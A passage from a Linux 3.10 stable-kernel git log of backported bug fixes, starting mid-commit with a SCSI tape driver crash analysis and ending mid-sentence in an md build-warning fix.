cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-800c:3: do_reset failed for cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-800f:3: TARGET RESET FAILED: Task management failed nexus=3:0:2 cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-8012:3: BUS RESET ISSUED nexus=3:0:2. qla2xxx [0000:81:00.0]-802b:3: BUS RESET SUCCEEDED nexus=3:0:2. qla2xxx [0000:81:00.0]-505f:3: Link is operational (8 Gbps). qla2xxx [0000:81:00.0]-8018:3: ADAPTER RESET ISSUED nexus=3:0:2. qla2xxx [0000:81:00.0]-00af:3: Performing ISP error recovery - ha=ffff88bf04d18000. rport-3:0-0: blocked FC remote port time out: removing target and saving binding qla2xxx [0000:81:00.0]-505f:3: Link is operational (8 Gbps). qla2xxx [0000:81:00.0]-8017:3: ADAPTER RESET SUCCEEDED nexus=3:0:2. rport-2:0-0: blocked FC remote port time out: removing target and saving binding sg_rq_end_io: device detached BUG: unable to handle kernel NULL pointer dereference at 00000000000002a8 IP: [] __pm_runtime_idle+0x28/0x90 PGD 7e6586f067 PUD 7e5af06067 PMD 0 [1739975.390354] Oops: 0002 [#1] SMP CPU 0 ... Supported: No, Proprietary modules are loaded [1739975.390463] Pid: 27965, comm: ABCD Tainted: PF X 3.0.101-0.29-default #1 HP ProLiant DL580 Gen8 RIP: 0010:[] [] __pm_runtime_idle+0x28/0x90 RSP: 0018:ffff8839dc1e7c68 EFLAGS: 00010202 RAX: 0000000000000000 RBX: ffff883f0592fc00 RCX: 0000000000000090 RDX: 0000000000000000 RSI: 0000000000000004 RDI: 0000000000000138 RBP: 0000000000000138 R08: 0000000000000010 R09: ffffffff81bd39d0 R10: 00000000000009c0 R11: ffffffff81025790 R12: 0000000000000001 R13: ffff883022212b80 R14: 0000000000000004 R15: ffff883022212b80 FS: 00007f8e54560720(0000) GS:ffff88407f800000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 00000000000002a8 CR3: 0000007e6ced6000 CR4: 00000000001407f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Process ABCD (pid: 27965, threadinfo ffff8839dc1e6000, task ffff883592e0c640) Stack: ffff883f0592fc00 00000000fffffffa 0000000000000001 ffff883022212b80 ffff883eff772400 ffffffffa03fa309 0000000000000000 0000000000000000 ffffffffa04003a0 ffff883f063196c0 ffff887f0379a930 ffffffff8115ea1e Call Trace: [] st_open+0x129/0x240 [st] [] chrdev_open+0x13e/0x200 [] __dentry_open+0x198/0x310 [] do_last+0x1f4/0x800 [] path_openat+0xd9/0x420 [] do_filp_open+0x4c/0xc0 [] do_sys_open+0x17f/0x250 [] system_call_fastpath+0x16/0x1b [<00007f8e4f617fd0>] 0x7f8e4f617fcf Code: eb d3 90 48 83 ec 28 40 f6 c6 04 48 89 6c 24 08 4c 89 74 24 20 48 89 fd 48 89 1c 24 4c 89 64 24 10 41 89 f6 4c 89 6c 24 18 74 11 ff 8f 70 01 00 00 0f 94 c0 45 31 ed 84 c0 74 2b 4c 8d a5 a0 RIP [] __pm_runtime_idle+0x28/0x90 RSP CR2: 00000000000002a8 Analysis reveals the cause of the crash to be due to STp->device being NULL. The pointer was NULLed via scsi_tape_put(STp) when it calls scsi_tape_release(). In st_open() we jump to err_out after scsi_block_when_processing_errors() completes and returns the device as offline (sdev_state was SDEV_DEL): 1180 /* Open the device. Needs to take the BKL only because of incrementing the SCSI host 1181 module count. */ 1182 static int st_open(struct inode *inode, struct file *filp) 1183 { 1184 int i, retval = (-EIO); 1185 int resumed = 0; 1186 struct scsi_tape *STp; 1187 struct st_partstat *STps; 1188 int dev = TAPE_NR(inode); 1189 char *name; ... 1217 if (scsi_autopm_get_device(STp->device) < 0) { 1218 retval = -EIO; 1219 goto err_out; 1220 } 1221 resumed = 1; 1222 if (!scsi_block_when_processing_errors(STp->device)) { 1223 retval = (-ENXIO); 1224 goto err_out; 1225 } ... 1264 err_out: 1265 normalize_buffer(STp->buffer); 1266 spin_lock(&st_use_lock); 1267 STp->in_use = 0; 1268 spin_unlock(&st_use_lock); 1269 scsi_tape_put(STp); <-- STp->device = 0 after this 1270 if (resumed) 1271 scsi_autopm_put_device(STp->device); 1272 return retval; The ref count for the struct scsi_tape had already been reduced to 1 when the .remove method of the st module had been called. The kref_put() in scsi_tape_put() caused scsi_tape_release() to be called: 0266 static void scsi_tape_put(struct scsi_tape *STp) 0267 { 0268 struct scsi_device *sdev = STp->device; 0269 0270 mutex_lock(&st_ref_mutex); 0271 kref_put(&STp->kref, scsi_tape_release); <-- calls this 0272 scsi_device_put(sdev); 0273 mutex_unlock(&st_ref_mutex); 0274 } In scsi_tape_release() the struct scsi_device in the struct scsi_tape gets set to NULL: 4273 static void scsi_tape_release(struct kref *kref) 4274 { 4275 struct scsi_tape *tpnt = to_scsi_tape(kref); 4276 struct gendisk *disk = tpnt->disk; 4277 4278 tpnt->device = NULL; <<<---- where the dev is nulled 4279 4280 if (tpnt->buffer) { 4281 normalize_buffer(tpnt->buffer); 4282 kfree(tpnt->buffer->reserved_pages); 4283 kfree(tpnt->buffer); 4284 } 4285 4286 disk->private_data = NULL; 4287 put_disk(disk); 4288 kfree(tpnt); 4289 return; 4290 } Although the problem was reported on SLES11.3 the problem appears in linux-next as well. The crash is fixed by reordering the code so we no longer access the struct scsi_tape after the kref_put() is done on it in st_open(). Signed-off-by: Shane Seymour Signed-off-by: Darren Lavender Reviewed-by: Johannes Thumshirn Acked-by: Kai Mäkisara Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b78d1a352737610ba4a686f8803836ed027af335 Author: Takashi Iwai Date: Thu Jul 30 22:30:29 2015 +0200 ALSA: hda - Fix MacBook Pro 5,2 quirk commit 649ccd08534ee26deb2e5b08509800d0e95167f5 upstream. MacBook Pro 5,2 with ALC889 codec had already a fixup entry, but this seems not working correctly, a fix for pin NID 0x15 is needed in addition. It's equivalent with the fixup for MacBook Air 1,1, so use this instead. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=102131 Reported-and-tested-by: Jeffery Miller Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 094888e0b904e3b69ecda37252606e6294e5a9ff Author: Yao-Wen Mao Date: Wed Jul 29 15:13:54 2015 +0800 ALSA: usb-audio: add dB range mapping for some devices commit 2d1cb7f658fb9c3ba8f9dab8aca297d4dfdec835 upstream. Add the correct dB ranges of Bose Companion 5 and Drangonfly DAC 1.2. Signed-off-by: Yao-Wen Mao Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2781c331d2c0e26d9ca6a8cbd68c271e25590418 Author: Dominic Sacré Date: Tue Jun 30 17:41:33 2015 +0200 ALSA: usb-audio: Add MIDI support for Steinberg MI2/MI4 commit 0689a86ae814f39af94a9736a0a5426dd82eb107 upstream. The Steinberg MI2 and MI4 interfaces are compatible with the USB class audio spec, but the MIDI part of the devices is reported as a vendor specific interface. This patch adds entries to quirks-table.h to recognize the MIDI endpoints. Audio functionality was already working and is unaffected by this change. Signed-off-by: Dominic Sacré Signed-off-by: Albert Huitsing Acked-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c0acb1b7f1d2224eb40f973a219b2802d9bfc6ac Author: Thomas Gleixner Date: Thu Jul 16 14:10:17 2015 +0200 genirq: Prevent resend to interrupts marked IRQ_NESTED_THREAD commit 75a06189fc508a2acf470b0b12710362ffb2c4b1 upstream. The resend mechanism happily calls the interrupt handler of interrupts which are marked IRQ_NESTED_THREAD from softirq context. This can result in crashes because the interrupt handler is not the proper way to invoke the device handlers. They must be invoked via handle_nested_irq. Prevent the resend even if the interrupt has no valid parent irq set. Its better to have a lost interrupt than a crashing machine. Reported-by: Uwe Kleine-König Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3523897f2a456b08a1075614f19432778f2eba0b Author: Alexey Brodkin Date: Mon Jul 13 10:25:17 2015 +0300 ARC: make sure instruction_pointer() returns unsigned value commit f51e2f1911122879eefefa4c592dea8bf794b39c upstream. Currently instruction_pointer() returns pt_regs->ret and so return value is of type "long", which implicitly stands for "signed long". While that's perfectly fine when dealing with 32-bit values if return value of instruction_pointer() gets assigned to 64-bit variable sign extension may happen. And at least in one real use-case it happens already. In perf_prepare_sample() return value of perf_instruction_pointer() (which is an alias to instruction_pointer() in case of ARC) is assigned to (struct perf_sample_data)->ip (which type is "u64"). And what we see if instuction pointer points to user-space application that in case of ARC lays below 0x8000_0000 "ip" gets set properly with leading 32 zeros. But if instruction pointer points to kernel address space that starts from 0x8000_0000 then "ip" is set with 32 leadig "f"-s. I.e. id instruction_pointer() returns 0x8100_0000, "ip" will be assigned with 0xffff_ffff__8100_0000. Which is obviously wrong. In particular that issuse broke output of perf, because perf was unable to associate addresses like 0xffff_ffff__8100_0000 with anything from /proc/kallsyms. That's what we used to see: ----------->8---------- 6.27% ls [unknown] [k] 0xffffffff8046c5cc 2.96% ls libuClibc-0.9.34-git.so [.] memcpy 2.25% ls libuClibc-0.9.34-git.so [.] memset 1.66% ls [unknown] [k] 0xffffffff80666536 1.54% ls libuClibc-0.9.34-git.so [.] 0x000224d6 1.18% ls libuClibc-0.9.34-git.so [.] 0x00022472 ----------->8---------- With that change perf output looks much better now: ----------->8---------- 8.21% ls [kernel.kallsyms] [k] memset 3.52% ls libuClibc-0.9.34-git.so [.] memcpy 2.11% ls libuClibc-0.9.34-git.so [.] malloc 1.88% ls libuClibc-0.9.34-git.so [.] memset 1.64% ls [kernel.kallsyms] [k] _raw_spin_unlock_irqrestore 1.41% ls [kernel.kallsyms] [k] __d_lookup_rcu ----------->8---------- Signed-off-by: Alexey Brodkin Cc: arc-linux-dev@synopsys.com Cc: linux-kernel@vger.kernel.org Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d410a766a6fdcc8f94fd428ae0879fa3115d2d8c Author: Martin Schwidefsky Date: Mon Jul 6 17:58:19 2015 +0200 s390/sclp: clear upper register halves in _sclp_print_early commit f9c87a6f46d508eae0d9ae640be98d50f237f827 upstream. If the kernel is compiled with gcc 5.1 and the XZ compression option the decompress_kernel function calls _sclp_print_early in 64-bit mode while the content of the upper register half of %r6 is non-zero. This causes a specification exception on the servc instruction in _sclp_servc. The _sclp_print_early function saves and restores the upper registers halves but it fails to clear them for the 31-bit code of the mini sclp driver. Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 64a5d2906a07b4a62c757e681bd427dbe77fe1bf Author: Al Viro Date: Wed Jul 8 02:42:38 2015 +0100 freeing unlinked file indefinitely delayed commit 75a6f82a0d10ef8f13cd8fe7212911a0252ab99e upstream. Normally opening a file, unlinking it and then closing will have the inode freed upon close() (provided that it's not otherwise busy and has no remaining links, of course). However, there's one case where that does *not* happen. Namely, if you open it by fhandle with cold dcache, then unlink() and close(). In normal case you get d_delete() in unlink(2) notice that dentry is busy and unhash it; on the final dput() it will be forcibly evicted from dcache, triggering iput() and inode removal. In this case, though, we end up with *two* dentries - disconnected (created by open-by-fhandle) and regular one (used by unlink()). The latter will have its reference to inode dropped just fine, but the former will not - it's considered hashed (it is on the ->s_anon list), so it will stay around until the memory pressure will finally do it in. As the result, we have the final iput() delayed indefinitely. It's trivial to reproduce - void flush_dcache(void) { system("mount -o remount,rw /"); } static char buf[20 * 1024 * 1024]; main() { int fd; union { struct file_handle f; char buf[MAX_HANDLE_SZ]; } x; int m; x.f.handle_bytes = sizeof(x); chdir("/root"); mkdir("foo", 0700); fd = open("foo/bar", O_CREAT | O_RDWR, 0600); close(fd); name_to_handle_at(AT_FDCWD, "foo/bar", &x.f, &m, 0); flush_dcache(); fd = open_by_handle_at(AT_FDCWD, &x.f, O_RDWR); unlink("foo/bar"); write(fd, buf, sizeof(buf)); system("df ."); /* 20Mb eaten */ close(fd); system("df ."); /* should've freed those 20Mb */ flush_dcache(); system("df ."); /* should be the same as #2 */ } will spit out something like Filesystem 1K-blocks Used Available Use% Mounted on /dev/root 322023 303843 1131 100% / Filesystem 1K-blocks Used Available Use% Mounted on /dev/root 322023 303843 1131 100% / Filesystem 1K-blocks Used Available Use% Mounted on /dev/root 322023 283282 21692 93% / - inode gets freed only when dentry is finally evicted (here we trigger than by remount; normally it would've happened in response to memory pressure hell knows when). Acked-by: J. Bruce Fields Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d11be19d00346291a40c8cb0a1809c38ce566b30 Author: Kirill A. Shutemov Date: Mon Jul 6 23:18:37 2015 +0300 mm: avoid setting up anonymous pages into file mapping commit 6b7339f4c31ad69c8e9c0b2859276e22cf72176d upstream. Reading page fault handler code I've noticed that under right circumstances kernel would map anonymous pages into file mappings: if the VMA doesn't have vm_ops->fault() and the VMA wasn't fully populated on ->mmap(), kernel would handle page fault to not populated pte with do_anonymous_page(). Let's change page fault handler to use do_anonymous_page() only on anonymous VMA (->vm_ops == NULL) and make sure that the VMA is not shared. For file mappings without vm_ops->fault() or shred VMA without vm_ops, page fault on pte_none() entry would lead to SIGBUS. Signed-off-by: Kirill A. Shutemov Acked-by: Oleg Nesterov Cc: Andrew Morton Cc: Willy Tarreau Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 792bebb8ecbc5f609b5c5fa273718dd7b77436c4 Author: Greg Kroah-Hartman Date: Mon Aug 3 09:32:37 2015 -0700 Linux 3.10.85 Signed-off-by: Pranav Vashi commit 68d5138ac58bcdc6a7e565649a3c8ca4e5e0662e Author: Nicholas Mc Guire Date: Thu May 7 14:47:50 2015 +0200 MIPS: KVM: Do not sign extend on unsigned MMIO load commit ed9244e6c534612d2b5ae47feab2f55a0d4b4ced upstream. Fix possible unintended sign extension in unsigned MMIO loads by casting to uint16_t in the case of mmio_needed != 2. Signed-off-by: Nicholas Mc Guire Reviewed-by: James Hogan Tested-by: James Hogan Cc: Gleb Natapov Cc: Paolo Bonzini Cc: kvm@vger.kernel.org Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/9985/ Signed-off-by: Ralf Baechle Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e5d01590b1d77614741e5e29ff2810e232f95965 Author: Chad Dupuis Date: Thu Sep 25 05:17:01 2014 -0400 qla2xxx: Mark port lost when we receive an RSCN for it. commit ef86cb2059a14b4024c7320999ee58e938873032 upstream. Signed-off-by: Chad Dupuis Signed-off-by: Saurav Kashyap Signed-off-by: Christoph Hellwig Cc: Himanshu Madhani Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 88c863f61ac83badfd02f7de0318853f112a73f9 Author: Linus Torvalds Date: Thu Jul 9 11:20:01 2015 -0700 Fix firmware loader uevent buffer NULL pointer dereference commit 6f957724b94cb19f5c1c97efd01dd4df8ced323c upstream. The firmware class uevent function accessed the "fw_priv->buf" buffer without the proper locking and testing for NULL. This is an old bug (looks like it goes back to 2012 and commit 1244691c73b2: "firmware loader: introduce firmware_buf"), but for some reason it's triggering only now in 4.2-rc1. Shuah Khan is trying to bisect what it is that causes this to trigger more easily, but in the meantime let's just fix the bug since others are hitting it too (at least Ingo reports having seen it as well). Reported-and-tested-by: Shuah Khan Acked-by: Ming Lei Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 31120ecb052f3f51cb147855c214bf2c29bb4e67 Author: Joe Perches Date: Thu Mar 26 20:47:10 2015 -0700 hpfs: hpfs_error: Remove static buffer, use vsprintf extension %pV instead commit a28e4b2b18ccb90df402da3f21e1a83c9d4f8ec1 upstream. Removing unnecessary static buffers is good. Use the vsprintf %pV extension instead. Signed-off-by: Joe Perches Signed-off-by: Mikulas Patocka Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8a221f7b9aa7f6d5e335380d39aaf24db32be608 Author: Chris Wilson Date: Sun Jun 28 14:18:16 2015 +0100 agp/intel: Fix typo in needs_ilk_vtd_wa() commit 8b572a4200828b4e75cc22ed2f494b58d5372d65 upstream. In needs_ilk_vtd_wa(), we pass in the GPU device but compared it against the ids for the mobile GPU and the mobile host bridge. That latter is impossible and so likely was just a typo for the desktop GPU device id (which is also buggy). Fixes commit da88a5f7f7d434e2cde1b3e19d952e6d84533662 Author: Chris Wilson Date: Wed Feb 13 09:31:53 2013 +0000 drm/i915: Disable WC PTE updates to w/a buggy IOMMU on ILK Reported-by: Ting-Wei Lan Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=91127 References: https://bugzilla.freedesktop.org/show_bug.cgi?id=60391 Signed-off-by: Chris Wilson Cc: Daniel Vetter Reviewed-by: Daniel Vetter Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 20f2822dbb50b72fbdfceda8d9de941694c3f8bc Author: Ilya Dryomov Date: Wed Jun 24 17:24:33 2015 +0300 rbd: use GFP_NOIO in rbd_obj_request_create() commit 5a60e87603c4c533492c515b7f62578189b03c9c upstream. rbd_obj_request_create() is called on the main I/O path, so we need to use GFP_NOIO to make sure allocation doesn't blow back on us. Not all callers need this, but I'm still hardcoding the flag inside rather than making it a parameter because a) this is going to stable, and b) those callers shouldn't really use rbd_obj_request_create() and will be fixed in the future. More memory allocation fixes will follow. Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5cd0e82648823a3beb52e136a74a269ee51b7052 Author: Al Viro Date: Sun Jul 12 10:34:29 2015 -0400 9p: don't leave a half-initialized inode sitting around commit 0a73d0a204a4a04a1e110539c5a524ae51f91d6d upstream. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b58dff313742957b207818a468a54341de647462 Author: Al Viro Date: Sat Jul 4 16:04:19 2015 -0400 9p: forgetting to cancel request on interrupted zero-copy RPC commit a84b69cb6e0a41e86bc593904faa6def3b957343 upstream. If we'd already sent a request and decide to abort it, we *must* issue TFLUSH properly and not just blindly reuse the tag, or we'll get seriously screwed when response eventually arrives and we confuse it for response to later request that had reused the same tag. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 46fefb4892242768a4b846eb1884c5e1a82dc637 Author: Trond Myklebust Date: Mon Jun 1 15:10:25 2015 -0400 SUNRPC: Fix a memory leak in the backchannel code commit 88de6af24f2b48b06c514d3c3d0a8f22fafe30bd upstream. req->rq_private_buf isn't initialised when xprt_setup_backchannel calls xprt_free_allocation. Fixes: fb7a0b9addbdb ("nfs41: New backchannel helper routines") Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7d6aaf6d57e195a85963339a98d2ba4994f218e Author: Jeff Layton Date: Tue Jun 9 19:43:56 2015 -0400 nfs: increase size of EXCHANGE_ID name string buffer commit 764ad8ba8cd4c6f836fca9378f8c5121aece0842 upstream. The current buffer is much too small if you have a relatively long hostname. Bring it up to the size of the one that SETCLIENTID has. Reported-by: Michael Skralivetsky Signed-off-by: Jeff Layton Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 307d81660177292c6e2e42c06287633f6e7bb150 Author: Olga Kornievskaia Date: Fri May 15 11:45:31 2015 -0400 fixing infinite OPEN loop in 4.0 stateid recovery commit e8d975e73e5fa05f983fbf2723120edcf68e0b38 upstream. Problem: When an operation like WRITE receives a BAD_STATEID, even though recovery code clears the RECLAIM_NOGRACE recovery flag before recovering the open state, because of clearing delegation state for the associated inode, nfs_inode_find_state_and_recover() gets called and it makes the same state with RECLAIM_NOGRACE flag again. As a results, when we restart looking over the open states, we end up in the infinite loop instead of breaking out in the next test of state flags. Solution: unset the RECLAIM_NOGRACE set because of calling of nfs_inode_find_state_and_recover() after returning from calling recover_open() function. Signed-off-by: Olga Kornievskaia Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a217ec81b246c5c0cec6254266322465b89a8a3a Author: Chuck Lever Date: Tue May 26 11:53:52 2015 -0400 NFS: Fix size of NFSACL SETACL operations commit d683cc49daf7c5afca8cd9654aaa1bf63cdf2ad9 upstream. When encoding the NFSACL SETACL operation, reserve just the estimated size of the ACL rather than a fixed maximum. This eliminates needless zero padding on the wire that the server ignores. Fixes: ee5dc7732bd5 ('NFS: Fix "kernel BUG at fs/nfs/nfs3xdr.c:1338!"') Signed-off-by: Chuck Lever Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a75dca7d0d4e72058902585e59b5e0d4d03c921e Author: Uwe Kleine-König Date: Wed Apr 29 20:38:46 2015 +0200 watchdog: omap: assert the counter being stopped before reprogramming commit 530c11d432727c697629ad5f9d00ee8e2864d453 upstream. The omap watchdog has the annoying behaviour that writes to most registers don't have any effect when the watchdog is already running. Quoting the AM335x reference manual: To modify the timer counter value (the WDT_WCRR register), prescaler ratio (the WDT_WCLR[4:2] PTV bit field), delay configuration value (the WDT_WDLY[31:0] DLY_VALUE bit field), or the load value (the WDT_WLDR[31:0] TIMER_LOAD bit field), the watchdog timer must be disabled by using the start/stop sequence (the WDT_WSPR register). Currently the timer is stopped in the .probe callback but still there are possibilities that yield to a situation where omap_wdt_start is entered with the timer running (e.g. when /dev/watchdog is closed without stopping and then reopened). In such a case programming the timeout silently fails! To circumvent this stop the timer before reprogramming. Assuming one of the first things the watchdog user does is setting the timeout explicitly nothing too bad should happen because this explicit setting works fine. Fixes: 7768a13c252a ("[PATCH] OMAP: Add Watchdog driver support") Signed-off-by: Uwe Kleine-König Reviewed-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ff3d12d66083b86ea17ce355f97f82c54ac86535 Author: Alan Stern Date: Thu Jan 29 11:29:13 2015 -0500 USB: usbfs: allow URBs to be reaped after disconnection commit 3f2cee73b650921b2e214bf487b2061a1c266504 upstream. The usbfs API has a peculiar hole: Users are not allowed to reap their URBs after the device has been disconnected. There doesn't seem to be any good reason for this; it is an ad-hoc inconsistency. The patch allows users to issue the USBDEVFS_REAPURB and USBDEVFS_REAPURBNDELAY ioctls (together with their 32-bit counterparts on 64-bit systems) even after the device is gone. If no URBs are pending for a disconnected device then the ioctls will return -ENODEV rather than -EAGAIN, because obviously no new URBs will ever be able to complete. The patch also adds a new capability flag for USBDEVFS_GET_CAPABILITIES to indicate that the reap-after-disconnect feature is supported. Signed-off-by: Alan Stern Tested-by: Chris Dickens Acked-by: Hans de Goede Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1726b8ec7167d09cf6ab0d8c46f4d2685556c375 Author: Michal Kazior Date: Fri May 22 10:22:40 2015 +0200 mac80211: prevent possible crypto tx tailroom corruption commit ab499db80fcf07c18e4053f91a619500f663e90e upstream. There was a possible race between ieee80211_reconfig() and ieee80211_delayed_tailroom_dec(). This could result in inability to transmit data if driver crashed during roaming or rekeying and subsequent skbs with insufficient tailroom appeared. This race was probably never seen in the wild because a device driver would have to crash AND recover within 0.5s which is very unlikely. I was able to prove this race exists after changing the delay to 10s locally and crashing ath10k via debugfs immediately after GTK rekeying. In case of ath10k the counter went below 0. This was harmless but other drivers which actually require tailroom (e.g. for WEP ICV or MMIC) could end up with the counter at 0 instead of >0 and introduce insufficient skb tailroom failures because mac80211 would not resize skbs appropriately anymore. Fixes: 8d1f7ecd2af5 ("mac80211: defer tailroom counter manipulation when roaming") Signed-off-by: Michal Kazior Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6cff4f9eecaa3a17133aed40893a77e95c21be2b Author: Chris Metcalf Date: Thu Jun 25 15:02:08 2015 -0700 __bitmap_parselist: fix bug in empty string handling commit 2528a8b8f457d7432552d0e2b6f0f4046bb702f4 upstream. bitmap_parselist("", &mask, nmaskbits) will erroneously set bit zero in the mask. The same bug is visible in cpumask_parselist() since it is layered on top of the bitmask code, e.g. if you boot with "isolcpus=", you will actually end up with cpu zero isolated. The bug was introduced in commit 4b060420a596 ("bitmap, irq: add smp_affinity_list interface to /proc/irq") when bitmap_parselist() was generalized to support userspace as well as kernelspace. Fixes: 4b060420a596 ("bitmap, irq: add smp_affinity_list interface to /proc/irq") Signed-off-by: Chris Metcalf Cc: Rasmus Villemoes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a06e13b9b81cd139e4020ecea304f134edff5b6e Author: Sagi Grimberg Date: Thu Jun 4 19:49:20 2015 +0300 iser-target: release stale iser connections commit 2f1b6b7d9a815f341b18dfd26a363f37d4d3c96a upstream. When receiving a new iser connect request we serialize the pending requests by adding the newly created iser connection to the np accept list and let the login thread process the connect request one by one (np_accept_wait). In case we received a disconnect request before the iser_conn has begun processing (still linked in np_accept_list) we should detach it from the list and clean it up and not have the login thread process a stale connection. We do it only when the connection state is not already terminating (initiator driven disconnect) as this might lead us to access np_accept_mutex after the np was released in live shutdown scenarios. Signed-off-by: Sagi Grimberg Signed-off-by: Jenny Falkovich Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bdc421a92cfee5f73701c51f0a2d2d4baad0283e Author: Sagi Grimberg Date: Sun Mar 29 15:52:04 2015 +0300 iser-target: Fix possible deadlock in RDMA_CM connection error commit 4a579da2586bd3b79b025947ea24ede2bbfede62 upstream. Before we reach to connection established we may get an error event. In this case the core won't teardown this connection (never established it), so we take care of freeing it ourselves. Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 83f58c590dd0dfd02ecf38ed67a6e5ccbbe8cf3f Author: Nicholas Bellinger Date: Thu Feb 26 22:19:15 2015 -0800 iscsi-target: Convert iscsi_thread_set usage to kthread.h commit 88dcd2dab5c23b1c9cfc396246d8f476c872f0ca upstream. This patch converts iscsi-target code to use modern kthread.h API callers for creating RX/TX threads for each new iscsi_conn descriptor, and releasing associated RX/TX threads during connection shutdown. This is done using iscsit_start_kthreads() -> kthread_run() to start new kthreads from within iscsi_post_login_handler(), and invoking kthread_stop() from existing iscsit_close_connection() code. Also, convert iscsit_logout_post_handler_closesession() code to use cmpxchg when determing when iscsit_cause_connection_reinstatement() needs to sleep waiting for completion. Reported-by: Sagi Grimberg Tested-by: Sagi Grimberg Cc: Slava Shwartsman Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e8a430da3584f8886dbf312e7646519787396879 Author: Lv Zheng Date: Wed Jul 1 14:43:26 2015 +0800 ACPICA: Tables: Fix an issue that FACS initialization is performed twice commit c04be18448355441a0c424362df65b6422e27bda upstream. ACPICA commit 90f5332a15e9d9ba83831ca700b2b9f708274658 This patch adds a new FACS initialization flag for acpi_tb_initialize(). acpi_enable_subsystem() might be invoked several times in OS bootup process, and we don't want FACS initialization to be invoked twice. Lv Zheng. Link: https://github.com/acpica/acpica/commit/90f5332a Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b68cfd6697e83a49b8aa3062f13f0eb8f1a0c4ac Author: Ilya Dryomov Date: Mon Jun 29 19:30:23 2015 +0300 crush: fix a bug in tree bucket decode commit 82cd003a77173c91b9acad8033fb7931dac8d751 upstream. struct crush_bucket_tree::num_nodes is u8, so ceph_decode_8_safe() should be used. -Wconversion catches this, but I guess it went unnoticed in all the noise it spews. The actual problem (at least for common crushmaps) isn't the u32 -> u8 truncation though - it's the advancement by 4 bytes instead of 1 in the crushmap buffer. Fixes: http://tracker.ceph.com/issues/2759 Signed-off-by: Ilya Dryomov Reviewed-by: Josh Durgin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2dc6d87d98ffc147677797822281a8876f49bd94 Author: Filipe Manana Date: Sat Jun 13 06:52:56 2015 +0100 Btrfs: use kmem_cache_free when freeing entry in inode cache commit c3f4a1685bb87e59c886ee68f7967eae07d4dffa upstream. The free space entries are allocated using kmem_cache_zalloc(), through __btrfs_add_free_space(), therefore we should use kmem_cache_free() and not kfree() to avoid any confusion and any potential problem. Looking at the kfree() definition at mm/slab.c it has the following comment: /* * (...) * * Don't free memory not originally allocated by kmalloc() * or you will run into trouble. */ So better be safe and use kmem_cache_free(). Signed-off-by: Filipe Manana Reviewed-by: David Sterba Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 02710ec167164d2c302feccc49c6050e86683fb4 Author: Firo Yang Date: Thu Jun 11 09:41:10 2015 +0800 md: fix a build warning commit 4e023612325a9034a542bfab79f78b1fe5ebb841 upstream. Warning like this: drivers/md/md.c: In function "update_array_info": drivers/md/md.c:6394:26: warning: logical not is only applied to the left hand side of comparison [-Wlogical-not-parentheses] !mddev->persistent != info->not_persistent|| Fix it as Neil Brown said: 